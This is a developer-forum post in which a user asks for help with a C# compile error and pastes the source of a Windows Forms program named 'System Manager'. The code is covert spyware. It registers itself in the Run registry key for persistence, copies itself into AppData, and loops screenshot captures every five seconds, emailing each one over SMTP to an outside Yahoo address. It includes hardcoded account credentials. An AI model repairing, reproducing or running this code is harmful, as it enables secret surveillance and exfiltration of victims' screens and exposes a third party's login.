Usman_10 0 Newbie Poster
error is::Error 1   The name 'InitializeComponent' does not exist in the current context    
Please help me in system manager:

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Net.Mail;
using System.Web;
using System.IO;
using Microsoft.Win32;
using System.Diagnostics;

namespace System_Manager
{
    public partial class Form1 : Form
    {
        string destination, currentdir, imagesave, username;
        public Form1()
       {
            InitializeComponent();
        }

        void registerforstartup()
        {
            RegistryKey reg;
            reg = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
            pathsetter();
            reg.SetValue("System Manager", destination);
        }
        void pathsetter()
        {
            username = Environment.UserName;
            currentdir = Environment.CurrentDirectory;
            destination = @"C:\Users\" + username + @"\AppData\Roaming\System Manager.exe";
            currentdir = currentdir + @"\System Manager.exe";
        }

        void copysoftware()
        {
            pathsetter();
            File.Copy(currentdir, destination);
        }

        void imagecapture(int j)
        {

            System.Threading.Thread.Sleep(5000);
            SendKeys.Send("{PRTSC}");
            Image img = Clipboard.GetImage();

            imagesave = "C:\\System\\img" + j + ".jpg";
            if (File.Exists(imagesave))
            {
                j++;
            }
            else
            {
                img.Save(imagesave);
            }
            MailMessage mail = new MailMessage("sendemail610@yahoo.com", "m.sarmad610@yahoo.com");
            SmtpClient client = new SmtpClient("smtp.mail.yahoo.com", 587);
            client.EnableSsl = true;
            client.UseDefaultCredentials = false;
            mail.Subject = "Abdullah";
            mail.Body = "Hello";
            mail.Attachments.Add(new Attachment(imagesave));
            client.Credentials = new System.Net.NetworkCredential("sendemail610@yahoo.com", "abdurrehman");
            client.Timeout = 1000000000;
            client.Send(mail);

        }

        private void Form1_Load(object sender, EventArgs e)
        {
            int j = 0;
            /* string mainpath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
             mainpath = Path.Combine(mainpath, @"\Roaming\System\");*/

            if (!Directory.Exists(@"C:/System/"))
            {
                Directory.CreateDirectory(@"C:/System/");
            }
            string[] filepath = Directory.GetFiles(@"C:/System/");
            foreach (string filepa in filepath)
            {
                File.Delete(filepa);
            }
            registerforstartup();
            if (!File.Exists(destination))
            {
                copysoftware();
            }

            while (j >= 0)
            {
                try
                {
                    imagecapture(j);
                    j++;
                }
                catch
                {

                }
            }
        }
    }
}
Be a part of the DaniWeb community

We're a friendly, industry-focused community of developers, IT pros, digital marketers, and technology enthusiasts meeting, networking, learning, and sharing knowledge.